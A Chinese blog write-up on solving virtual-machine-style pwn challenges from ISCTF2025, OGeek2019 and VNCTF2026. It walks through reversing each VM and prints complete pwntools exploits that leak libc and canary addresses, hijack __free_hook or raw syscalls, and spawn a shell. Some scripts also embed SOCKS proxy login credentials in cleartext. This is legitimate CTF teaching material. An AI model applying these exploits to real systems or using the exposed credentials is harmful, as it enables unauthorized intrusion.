• 简单vmpwn的思路


    前言

    vmpwn简单来说就是程序通过一些方式模拟虚拟机的运行,我们则通过输入对应的指令让程序指向对应操作。最终目的当然是getshell或者获取flag。vmpwn相比原来的pwn多了挺多逆向上的难度,主要要看懂程序各个部分在干嘛。看懂了之后就比较简单了。本文应该会分享一下我个人的思路,题比较简单。

    思路

    总体上的思路就是我们输入各种opcode让程序进行数值上的操作,跟堆题比较像,对数值进行操作来控制程序流。漏洞通常是越界写。难点主要在理解程序逻辑上。下面我们看例题

    ISCTF2025——myvm

    开了沙盒,禁了execve,开了canary与pie。接下来放ida看看

    7{1Q)JCXPU8_$%QMYX9

    如果是第一次写vmpwn看见这个就有点懵了,我个人观点是抓住我们的输入,跟着我们的输入走,看的会清晰一点。我们的输入第一次在scanf,输入进v7了,然后进了一个函数,我们进去看看
    {ZG7_0L74YMUN66FWV7

    我们的输入在形参a1上,a1给了v2,指向v2的指针是v3,v4是malloc的堆上,v4指向我们输入的指针。这里主要看上面的声明,这两个指针都是指向char类型的,*之后都只有一个字符。也就是这里把我们输入分成了4个部分,比如0x12345678。0x78就在 *v4的地方
    *(v4+1)就是0x56后面以此类推。这些有什么用我们得看后面了。最后返回值是v4。
    JGHTM{NQG}PINNY9P%Z}NDT

    这里reg是在bss段上的数组,类型是long。首先这个数组是有符号的,然后这个数组是8字节大小,也就说明一个数组成员可以放下一个完整的指针。接下来看我们输入,这里的ptr就是我们刚才的v4,直接v4决定了我们虚拟机接下来的操作,操作就是下面的+- * / >> << ^已经后面的。接下来的(v4+1)可以看见都在表达式左边,也就是显然就是赋值的目标地址。后面ptr+2,ptr+3就是这写表达式的左右值。

    后面这里的v9是在栈上的,而且这个赋值是v3=v6++ v4=v6--。这里是先赋值再自增/自减,也就有了栈溢出与泄露。这里的操作其实就是pop与push。即把栈上数据赋给bss段上,把bss段上数据写入栈。

    至此我们的逆向也就完成了。在我们exp上可以定义这个函数

    def code(choice,tar,a,s):
    pay=choice+(tar<<8)+(a<<16)+(s<<24)
    sl(str(pay))

    这里我们可以看看汇编

    .text:0000000000000D02 mov rax, [rbp+ptr] ; jumptable 0000000000000D00 case 0
    .text:0000000000000D09 movzx eax, word ptr [rax+4]
    .text:0000000000000D0D cwde
    .text:0000000000000D0E cdqe

    这里如果我们输入\xfc就会变成补码形式,因为符号位拓展了。这样就可以数组越界访问了。reg数组在bss段上,通过负索引可以访问got表,有了got表就有libc基地址了,有了libc就可以打ret2syscall的ORW了。通过pop与push操作可以泄露canary与程序基地址。这里关键是open的./flag字符串怎么写。要么我们通过reg的加减操作写出来./flag的ascii码(注意小端序)然后通过程序基地址+偏移找出来存放这个字符串的地址。要么我们就调用read往bss段上写一个./flag。我采用的是第二种。

    这题因为我们不能在bss段上输入数据,所以需要定义一个能生成任意数字的代码,我这里个人选择的是逐位累加可能比较慢。各位可以优化一下。总体思路就是负索引泄露libc,push与pop泄露canary与程序基地址,赋给返回地址打ret2syscall的ORW。exp如下:

    #!/usr/bin/env python3
    from pwn import *
    import sys
    from ctypes import *
    #from pwncli import *
    # cli_script()
    #from ae64 import AE64
    #from pymao import *
    context.log_level='debug'
    context.arch='amd64'
    elf=ELF('./pwn')
    libc = ELF('./libc.so.6')
    # libc1=cdll.LoadLibrary('./libc.so.6')
    li='./libc.so.6'
    flag = 1
    if flag:
    p = remote('challenge.imxbt.cn',30873)
    else:
    p = process('./pwn')
    sa = lambda s,n : p.sendafter(s,n)
    sla = lambda s,n : p.sendlineafter(s,n)
    sl = lambda s : p.sendline(s)
    slr = lambda s : p.sendline(str(s))
    sd = lambda s : p.send(s)
    sdr = lambda s : p.send(str(s))
    rc = lambda n : p.recv(n)
    ru = lambda s : p.recvuntil(s)
    ti = lambda : p.interactive()
    rcl = lambda : p.recvline()
    leak = lambda name,addr :log.success(name+"--->"+hex(addr))
    u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
    i6 = lambda a : int(a,16)
    def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
    def ph(s):
    print(hex(s))
    def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
    def code(choice,tar,a,s):
    pay=choice+(tar<<8)+(a<<16)+(s<<24)
    sl(str(pay))
    code(3,0,0xfc,0xfc)#tar:0x21b780
    code(0,1,0,0)#2
    code(2,2,1,1)#4
    code(2,3,2,2)#0x10
    code(4,4,0,3)#0x10000
    code(4,7,4,2)#0x100000
    code(5,5,4,2)#0x1000
    code(5,6,5,2)#0x100
    def add(addr,a,b):
    code(0,addr,a,b)
    def sub(addr,a,b):
    code(1,addr,a,b)
    def mul(addr,a,b):
    code(2,addr,a,b)
    def dev(addr,a,b):
    code(3,addr,a,b)
    def shl(addr,a,b):
    code(4,addr,a,b)
    def shr(addr,a,b):
    code(5,addr,a,b)
    def pop(addr):
    pay=(addr<<8)+7
    sl(str(pay))
    def push(addr):
    pay=(addr<<8)+8
    sl(str(pay))
    def num(addr,tar):
    a=tar&0xf
    b=(tar>>4)&0xf
    c=(tar>>8)&0xf
    d=(tar>>12)&0xf
    e=(tar>>16)&0xf
    f=(tar>>20)&0xf
    for i in range(a):
    add(10,10,0)#0xf
    for g in range(b):
    add(11,11,3)#0xff
    for h in range(c):
    add(12,12,6)#0xfff
    for k in range(d):
    add(13,13,5)#0xffff
    for p in range(e):
    add(14,14,4)#0xfffff
    for l in range(f):
    add(15,15,7)#0xffffff
    add(11,10,11)
    add(12,11,12)
    add(13,12,13)
    add(14,13,14)
    add(addr,14,15)
    sub(10,10,10)
    sub(11,11,11)
    sub(12,12,12)
    sub(13,13,13)
    sub(14,14,14)
    sub(15,15,15)
    num(16,0x21b780)
    sub(16,0xf8,16)
    rax=0x45eb0
    rdi=0x2a3e5
    rsi=0x2be51
    rdb=0x11f2e7
    end=0x91316
    num(17,rax)
    add(17,17,16)
    num(18,rdi)
    add(18,18,16)
    num(19,rsi)
    add(19,19,16)
    num(20,rdb)
    add(20,20,16)
    num(21,end)
    add(21,21,16)
    for m in range(0x201):
    pop(22)
    push(22)
    pop(22)
    pop(22)
    pop(22)
    pop(22)
    pop(22)
    push(25)
    push(22)
    num(29,0xc6c)
    sub(25,25,29)
    num(29,0x202470)
    add(25,25,29)
    num(30,0x338)
    sub(26,25,30)
    num(23,0x6761)
    num(24,0x6c66)
    num(27,0x2f2e)
    shl(23,23,3)
    shl(23,23,3)
    shl(24,24,3)
    add(23,23,24)
    add(27,27,23)
    add(24,0,1)#3
    pop(17)
    pop(1)
    pop(18)
    pop(26)
    pop(19)
    pop(36)
    pop(21)
    pop(17)
    pop(36)
    pop(18)
    pop(24)
    pop(19)
    pop(25)
    pop(20)
    pop(6)
    pop(6)
    pop(21)
    pop(17)
    pop(0)
    pop(18)
    pop(0)
    pop(19)
    pop(25)
    pop(20)
    pop(6)
    pop(6)
    pop(21)
    slr(9)
    ti()

    下面我们看第二个例题

    BUUCTF——[OGeek2019 Final]OVM

    这题逆向上复杂一点,但是攻击更简单了,各位可以看看gets师傅的讲解视频,保护没怎么开,glibc是2.23
    IZ$U$A_J8O`J}}$20WD7K

    这题开始先申请了一个堆块,后面读入两个数字,第一个是索引,第二个是bss段上另一个数组,后面输入的是opencode的数量,这里注意他是把这个数量放进循环里了,我们输入的opencode数量要等于这个循环数。,后面read往堆块里写值,最后这个sendcomment用free释放了这个堆块。这里就有点奇怪了,好端端的虚拟机要这个操作干什么呢?我们进去看虚拟机的主逻辑。

    ssize_t __fastcall execute(int getcode)
    {
    ssize_t code; // rax
    unsigned __int8 right; // [rsp+18h] [rbp-8h]
    unsigned __int8 left; // [rsp+19h] [rbp-7h]
    unsigned __int8 target; // [rsp+1Ah] [rbp-6h]
    int n15; // [rsp+1Ch] [rbp-4h]
    target = (getcode & 0xF0000u) >> 16;
    left = (getcode & 0xF00) >> 8;
    right = getcode & 0xF;
    code = HIBYTE(getcode);//>>24
    if ( HIBYTE(getcode) == 0x70 )
    {
    code = reg;
    reg[target] = reg[right] + reg[left];
    return code;
    }
    if ( HIBYTE(getcode) > 0x70u )
    {
    if ( HIBYTE(getcode) == 0xB0 )
    {
    code = reg;
    reg[target] = reg[right] ^ reg[left];
    return code;
    }
    if ( HIBYTE(getcode) > 0xB0u )
    {
    if ( HIBYTE(getcode) == 0xD0 )
    {
    code = reg;
    reg[target] = reg[left] >> reg[right];
    return code;
    }
    if ( HIBYTE(getcode) > 0xD0u )
    {
    if ( HIBYTE(getcode) == 0xE0 )
    {
    running = 0;
    if ( !stackcount )
    return write(1, "EXIT\n", 5u);
    }
    else if ( HIBYTE(getcode) != 0xFF )
    {
    return code;
    }
    running = 0;
    for ( n15 = 0; n15 <= 15; ++n15 )
    printf("R%d: %X\n", n15, reg[n15]);
    return write(1, "HALT\n", 5u);
    }
    else if ( HIBYTE(getcode) == 0xC0 )
    {
    code = reg;
    reg[target] = reg[left] << reg[right];
    }
    }
    else
    {
    switch ( HIBYTE(getcode) )
    {
    case 0x90u:
    code = reg;
    reg[target] = reg[right] & reg[left];
    break;
    case 0xA0u:
    code = reg;
    reg[target] = reg[right] | reg[left];
    break;
    case 0x80u:
    code = reg;
    reg[target] = reg[left] - reg[right];
    break;
    }
    }
    }
    else if ( HIBYTE(getcode) == 0x30 )
    {
    code = reg;
    reg[target] = memory[reg[right]]; // 数组越界
    }
    else if ( HIBYTE(getcode) > 0x30u )
    {
    switch ( HIBYTE(getcode) )
    {
    case 0x50u:
    LODWORD(code) = stackcount++;
    code = code;
    stack[code] = reg[target];
    break;
    case 0x60u:
    --stackcount;
    code = reg;
    reg[target] = stack[stackcount];
    break;
    case 0x40u:
    code = memory;
    memory[reg[right]] = reg[target]; // 数组越界
    break;
    }
    }
    else if ( HIBYTE(getcode) == 0x10 )
    {
    code = reg;
    reg[target] = getcode;
    }
    else if ( HIBYTE(getcode) == 0x20 )
    {
    code = reg;
    reg[target] = getcode == 0;
    }
    return code;
    }

    这里我已经逆好了,各位可以试着自己逆一下,最后def的时候是这样的。

    def code(target,left,right,opcode):
    pay=(left<<8)+right+(target<<16)+(opcode<<24)
    sl(str(pay))

    后续整体上跟上一题差别注意在中国memory和reg是int类型数组,他是4字节的。一个数组成员是放不下一个完整指针的。这题因为有show,然后上面也说了,read可以往一个堆块写数据,最后会free这个堆块。我们先用负索引数组越界泄露libc。把原本是堆块的地址改成freehook-8的地址,往其中写入/bin/sh字符串,freehook的地址写入system的地址。这样我们就会free掉freehook-8。因为free时先看freehook里有没有值,所以他不会触发free的检查,也就不会报错。需要注意的就是这题可以往bss里写我们输入的一字节还是挺好的。exp如下:

    #!/usr/bin/env python3
    from pwn import *
    import sys
    from ctypes import *
    #from pwncli import *
    import socks
    # cli_script()
    #from ae64 import AE64
    #from pymao import *
    context.log_level='debug'
    context.arch='amd64'
    elf=ELF('./pwn')
    libc=ELF('./libc.so.6')
    '''
    socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
    )
    socket.socket = socks.socksocket
    '''
    flag = 0
    if flag:
    p = remote('node5.buuoj.cn',28571)
    else:
    p = process('./pwn')
    sa = lambda s,n : p.sendafter(s,n)
    sla = lambda s,n : p.sendlineafter(s,n)
    sl = lambda s : p.sendline(s)
    slr = lambda s : p.sendline(str(s))
    sd = lambda s : p.send(s)
    sdr = lambda s : p.send(str(s))
    rc = lambda n : p.recv(n)
    ru = lambda s : p.recvuntil(s)
    ti = lambda : p.interactive()
    rcl = lambda : p.recvline()
    leak = lambda name,addr :log.success(name+"--->"+hex(addr))
    u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
    i6 = lambda a : int(a,16)
    def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
    def ph(s):
    print(hex(s))
    def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
    def code(target,left,right,opcode):
    pay=(left<<8)+right+(target<<16)+(opcode<<24)
    sl(str(pay))
    def add(target,left,right):
    code(target,left,right,0x70)
    def sub(target,left,right):
    code(target,left,right,0x80)
    def shr(target,left,right):
    code(target,left,right,0xd0)
    def shl(target,left,right):
    code(target,left,right,0xc0)
    def push(target,something):
    code(something,0,target,0x40)
    def pop(target,something):
    code(target,0,something,0x30)
    def setnum(target,number):
    code(target,0,number,0x10)
    ru(b'PC:')#13
    slr(0)
    ru(b'SP:')
    slr(30)
    ru(b'CODE SIZE:')
    slr(21)#25
    ru(b"CODE: ")
    setnum(0,0x38)
    setnum(1,1)
    sub(2,2,0)
    pop(4,2)#low
    add(2,2,1)
    pop(5,2)#high libc 5-->start
    setnum(0,8)
    sub(6,8,0)
    setnum(0,4)
    add(9,0,9)#4
    sub(13,13,13)
    #11
    #target --> 0x1098
    setnum(12,0x10)
    setnum(0,8)
    shl(12,12,0)
    setnum(0,0x90)
    add(10,12,0)
    add(4,10,4)
    push(6,4)
    setnum(0,1)
    add(6,6,0)
    push(6,5)
    ru(b'R4: ')
    a=rcl().strip()
    ru(b'R5: ')
    b=rcl().strip()
    c=b+a
    libcbase=i6(c)+8-libc.sym['__free_hook']
    sy=libcbase+libc.sym['system']
    ph(libcbase)
    pay=b'/bin/sh\x00'+p64(sy)
    sd(pay)
    ti()

    我exp里的push与pop是其实更像mov,本题不能往栈上写值。

    VNCTF2026——vm_syscall

    这题更难逆向了,逆向完也很简单,这题开了pie。这里可以看出题人的讲解视频,我主要也是分享一下个人逆向思路。先看看main的逻辑。
    70M_~XU`%U9VUR20PBO0

    这里可以看见先申请了一个堆块,然后mmap申请了一段内存,内存放在ptr内,最后我们往内存里写东西。继续看
    VL{LHPN@05IHFWSA4BNGP3

    这里应该是程序的主逻辑,可以这里这个*(ptr+2)应该是某个东西,我们按顺序看看下面的函数
    6KV%_}XVQ)0%I$XSSWHSS1W

    这里我先隐藏类型了,不然看不清楚,这里如果没隐藏类型可以明显的看见返回值是一字节,这里明显是读取了一个opencode,这里可以看见* (ptr+2)应该是索引,因为我们输入的是一大堆数据,并没有像前两题一样分批输入,所以有索引也是正常。这里我们重命名一下这个函数(ida里对着这个名字按n)。目前我们已知的ptr相关的结构有两个,第一个是*ptr是我们的内存,第二个是 *(ptr+2)这个应该是索引,我们这里可以还原一下结构体,shift+f1打开结构体窗口,右键创建结构体。结构体第一个成员应该是char *类型。第二个应该是int类型的索引。我们继续往下逆。
    9J3~9C(SE7`Q8S07CZ%1K

    到这里就有点吓人了,我们一个个看,第一个a1是形参,也就是我们第一个读取的opencode,如果我们输入的第一次code是1他就会在prt[12]与ptr[13]的位置再读一个code,然后检查一下是不是大于3。这里感觉也有点像什么索引。
    SH7OFNSF}I`_NV@NHQ}$0

    当我们输入的第一次code是2的时候前面一个循环还是在prt[12]与ptr[13]的位置分别读一个code(这个code不能大于4),然后他又读一个code作为下一个循环的标志。下一个循环明显就是在ptr+8的位置一直读数据,比如第一次读入的code是1。一进循环原来ptr+8肯定是0,左移也是0,再或一下那就获得了我们的code1,然后第二次循环先左移就变成了0x100,再或一下读取的code比如0x20,那么ptr+8就变成了0x120。综上我们就可以看出来这应该是一个输入数字的方法。

    当我们输入的第一次code是3的话就会在ptr[12],ptr[13],ptr[14]的地方分别读一个code(code不能大于3),有什么用目前不知道。如果不是1,2,3的话就会直接退出,至此这个函数我们就逆向完了,目前还是不太清楚这个程序在干嘛。
    Y(F9CLITL{0K)(GXIDEC

    这里case1,2,3进去都可以看见是寄存器相关操作,但其实我们可以看出来都是没有往栈上写数据的操作的,因为他都是bss段上的*(ptr+一个值),没有涉及栈上的内容,光考这些加减肯定是不能劫持程序控制流的。我们可以看看case4,这里传了个ptr+0x10进去
    41OT1A_7)HQ8GPTAW1_$1KA

    可以看见应该是汇编,我们按tab切汇编看看
    5K7{UEUYY)QRKYD$PB6@6M

    这里我们只知道rdi是我们传进去的参数,经过一系列操作把rdi的值赋给了rbx。这里把rbx,rbx+8,rbx+0x10,rbx+0x18赋给了rax,rdi,rsi,rdx寄存器,而且后面还要syscall。这里如果我们值设置的好就可以执行任意系统调用。而且最后还把rax的返回值写会了rbx内(就是rbx将会赋给rax的位置)也就是得到了返回值。

    至此我们就知道ptr相关的结构了,*ptr是写入opencode的地址, *((unsigned int *)ptr+2)是索引,其实在内存上也就是ptr+8。

    *((_DWORD)ptr+12)是一个小于3的值, *(( _DWORD)ptr+13)也是一个小于3的值, *(( _DWORD)ptr+14)也是一个小于3的值(当读入这个地方的code也可以是设置数字的次数)。 *((char *)ptr+0x10)后面是三个寄存器。这样我们就可以修复一下ptr这个结构体

    struct node
    {
    char *opcodeaddr;
    unsigned int index;
    __int64 reg[4];
    unsigned int choice1;
    unsigned int choice2;
    int choice3;
    unsigned int k1;
    unsigned int number;
    };

    然后我们在ida里对着这个ptr按y修改声明,再按f5刷新。就可以看见这样的
    VK2)U19@1IISBGS1W)XP%T

    接下来我们再看主循环里的case1,2,3就很简单了
    0WM61WN)U9@M}SJ5YK4{E0

    case1是这样。不用解释吧...choice2因为小于3,所以他的值决定将来赋给哪个寄存器比如0赋给rax(rbx),1赋给rdi(rbx+8)...我们继续看case2
    I{OZ0R(GO$2OP0)X0}%3I1

    这里也是一样,各种操作。这个::是取全局变量的意思,然后*$一起写其实没任何意义,直接不用看。这里就是要注意一下后面ida识别有点问题
    5DGN9(H9{AEAH_BHZTK94

    这里看似跟我们的reg没关系,其实是有的,可以看见opcodeaddr是指向8字节的指针,他+2就是我们寄存器的地址,剩下的choice1其实就是我们寄存器的索引。其实他就是::ptr->reg[::ptr->choice1]。我们继续看case3

    W$_1AZE)I5WY3U14C%7ZS

    就是各寄存器进行各种计算。

    最后总结一下逻辑。首先写入opencode,opencode跟之前的不太一样,是一字节一字节读的。

    如果第一个是1,那就往后再读两个字节,每个字节的ascii码值小于3,在主循环里会选择将要赋给对应寄存器的值进行赋值与xchg操作。

    如果第一个是2,就先往后读两个字节选择两个将要赋给对应两个寄存器的值,然后再读一个字节决定后续读入的次数(次数要小于4)。最后会形成一个数字,比如读两次,先后读入的是0x12与0x13,那么设置出的数字就是0x1213。然后在主循环里会进case2让将要赋给对应寄存器的值与设置的数字进行各种运算。

    如果第第一个是3,就往后读3个字节,在主循环里进case3,让三个将要赋给对应寄存器的值进行各种运算操作。

    如果第一个是4就不会读取数据,直接把将要赋给对应寄存器的值赋给对应寄存器并syscall。

    整体逻辑就是如此,接下来就是如何getshell了。这里因为开了pie,我们是没有存储binsh的地方的。因为没有show。但是syscall有返回值,这里我的解法是跟之前isctf2024那题一样,用brk系统调用。因为他这里一开始申请了一个堆块,我们可以用brk尝试扩展这个堆,这样他就会返回原来堆块的结束位置,我们随便输个大小,哪怕他扩展失败也会返回原理堆块的结束位置。只是我们不能直接往那个堆块的结束位置里写值,我们把得到的堆块的结束位置减一个大小就可以得到写binsh字符串的地址,后面调用read写binsh然后调用execve就可以getshell了。

    预期解是用shmget与shmat,这个我就概括一下吧。shmget只在64位下有系统调用,系统调用号是29,主要用于创建/获取共享内存段的id,他需要三个参数,第一个是查找对应内存段所需的键值,第二个参数是大小,第三个参数是flag字段也就是内存段的权限(以八进制表示),但这里的权限不是我们文件里写的那种权限,更偏向文件本身的权限而不是内存,也就是设置成可执行但也不能往上写shellcode。一般设置成0x3b8也就是八进制的1666。这个1000是IPC_CREAT是假如没找到就创建一个共享内存段id。
    写题时第一个键值可以随便取,第二个大小也可以,别太大就好,第三个推荐固定0x3b8。

    shmat只有64位下才有系统调用,系统调用号是30,主要就是把获取到的id映射进内存中,得到真正可写的内存。第一个参数是共享内存段的id,第二个参数是想要映射的位置,我们可以设0让系统自己分配,最后一个是标志位,这个一般设置成0。

    获得了可写binsh字符串的地址后面调用read写binsh然后调用execve就getshell了。这两种解法的exp如下:

    brk的解法

    #!/usr/bin/env python3
    from pwn import *
    import sys
    from ctypes import *
    #from pwncli import *
    import socks
    # cli_script()
    #from ae64 import AE64
    #from pymao import *
    context.log_level='debug'
    context.arch='amd64'
    elf=ELF('./pwn')
    #libc = ELF('./libc.so.6')
    # libc1=cdll.LoadLibrary('./libc.so.6')
    #li='./libc.so.6'
    '''
    socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
    )
    socket.socket = socks.socksocket
    '''
    flag = 0
    if flag:
    p = remote('1')
    else:
    p = process('./pwn')
    sa = lambda s,n : p.sendafter(s,n)
    sla = lambda s,n : p.sendlineafter(s,n)
    sl = lambda s : p.sendline(s)
    slr = lambda s : p.sendline(str(s))
    sd = lambda s : p.send(s)
    sdr = lambda s : p.send(str(s))
    rc = lambda n : p.recv(n)
    ru = lambda s : p.recvuntil(s)
    ti = lambda : p.interactive()
    rcl = lambda : p.recvline()
    leak = lambda name,addr :log.success(name+"--->"+hex(addr))
    u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
    i6 = lambda a : int(a,16)
    def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
    def ph(s):
    print(hex(s))
    def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
    def regfu(index1,index2):#reg2=reg1
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x20)
    return pay
    def xchg(index1,index2):
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x30)
    return pay
    def regshl(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x50)
    return pay
    def regshr(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x60)
    return pay
    def regad(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x10)
    return pay
    def regsub(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x20)
    return pay
    def setnum(target,left,long):#number
    pay=p8(2)+p8(target)+p8(left)+p8(long)
    return pay
    '''
    0x10: add/// 0x20: sub/// 0x50: shl///0x60:shr
    3 2 1
    0x10000 0x100 0x10
    0-->rax 1-->rdi 2-->rsi 3-->rdx'''
    pay=setnum(1,1,3)+p8(0x60)+p8(0)+p8(0)+p8(0x10)#600000
    pay+=regfu(1,3)
    #pay+=setnum(1,1,1)+p8(24)+p8(0x50)#rdi=0x600000000000
    pay+=setnum(0,0,1)+p8(12)+p8(0x10)
    pay+=p8(4)#brk(0x600000)
    pay+=regfu(2,1)+xchg(0,2)
    pay+=setnum(2,2,2)+p8(0x90)+p8(0)+p8(0x20)
    pay+=p8(4)#read(0,$rax,0x600000)
    pay+=regsub(0,0,0)+regsub(3,3,3)
    pay+=setnum(0,0,1)+p8(0x3b)+p8(0x10)#rax=0x3b
    pay+=xchg(1,2)#rdi-->addr-->binsh
    pay+=p8(4)#execve("/bin/sh",0,0)
    sd(pay)
    pause()
    sd(b'/bin/sh\x00')
    ti()

    shmget与shmat解法

    #!/usr/bin/env python3
    from pwn import *
    import sys
    from ctypes import *
    #from pwncli import *
    import socks
    # cli_script()
    #from ae64 import AE64
    #from pymao import *
    context.log_level='debug'
    context.arch='amd64'
    elf=ELF('./pwn')
    #libc = ELF('./libc.so.6')
    # libc1=cdll.LoadLibrary('./libc.so.6')
    #li='./libc.so.6'
    '''
    socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
    )
    socket.socket = socks.socksocket
    '''
    flag = 0
    if flag:
    p = remote('1')
    else:
    p = process('./pwn')
    sa = lambda s,n : p.sendafter(s,n)
    sla = lambda s,n : p.sendlineafter(s,n)
    sl = lambda s : p.sendline(s)
    slr = lambda s : p.sendline(str(s))
    sd = lambda s : p.send(s)
    sdr = lambda s : p.send(str(s))
    rc = lambda n : p.recv(n)
    ru = lambda s : p.recvuntil(s)
    ti = lambda : p.interactive()
    rcl = lambda : p.recvline()
    leak = lambda name,addr :log.success(name+"--->"+hex(addr))
    u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
    i6 = lambda a : int(a,16)
    def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
    def ph(s):
    print(hex(s))
    def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
    def regmov(index2,index1):#reg2=reg1
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x20)
    return pay
    def xchg(index1,index2):
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x30)
    return pay
    def regshl(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x50)
    return pay
    def regshr(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x60)
    return pay
    def regad(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x10)
    return pay
    def regsub(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x20)
    return pay
    def setnum(target,left,long):#number
    pay=p8(2)+p8(target)+p8(left)+p8(long)#after is number's size
    return pay
    '''
    0x10: add/// 0x20: sub/// 0x50: shl///0x60:shr
    long: 3 2 1
    0x10000 0x100 0x10
    reg:0-->rax 1-->rdi 2-->rsi 3-->rdx'''
    pay=setnum(0,0,1)+p8(29)+p8(0x10)#rax=29
    pay+=setnum(1,1,1)+p8(0x70)+p8(0x10)#rdi=0x70
    pay+=setnum(2,2,1)+p8(0x80)+p8(0x10)#rdi=0x80
    pay+=setnum(3,3,2)+p8(0x3)+p8(0xb6)+p8(0x10)#rdx=0x3b6
    pay+=p8(4)#shmget(0x70,0x80,0x3b6)
    pay+=xchg(0,1)+regsub(0,0,0)+regmov(2,0)+regmov(3,0)
    pay+=setnum(0,0,1)+p8(30)+p8(0x10)
    pay+=p8(4)#shmat($rax,0,0)
    pay+=xchg(2,0)+regmov(1,3)
    pay+=setnum(3,3,1)+p8(0xd0)+p8(0x10)
    pay+=p8(4)#read
    pay+=xchg(1,2)+regmov(3,2)+regsub(0,0,0)
    pay+=setnum(0,0,1)+p8(0x3b)+p8(0x10)
    pay+=p8(4)#execve
    sd(pay)
    pause()
    sd(b'/bin/sh\x00')
    ti()

    总的来说逆向时快死了,逆向完直接爽。所以逆向是爽的(dui)

  • 相关阅读:
    深度学习笔记之微积分及绘图
    保研机试算法训练个人记录笔记(二)
    Beam failure Recovery
    面试算法问题
    docker常用命令整理
    阿里前端面试问到的vue问题
    得物Flink内核探索实践
    FIFO有名管道
    华为认证 | HCIA考试选择题技巧
    数据结构与算法——绪论
  • 原文地址:https://www.cnblogs.com/firefly-star/p/20246408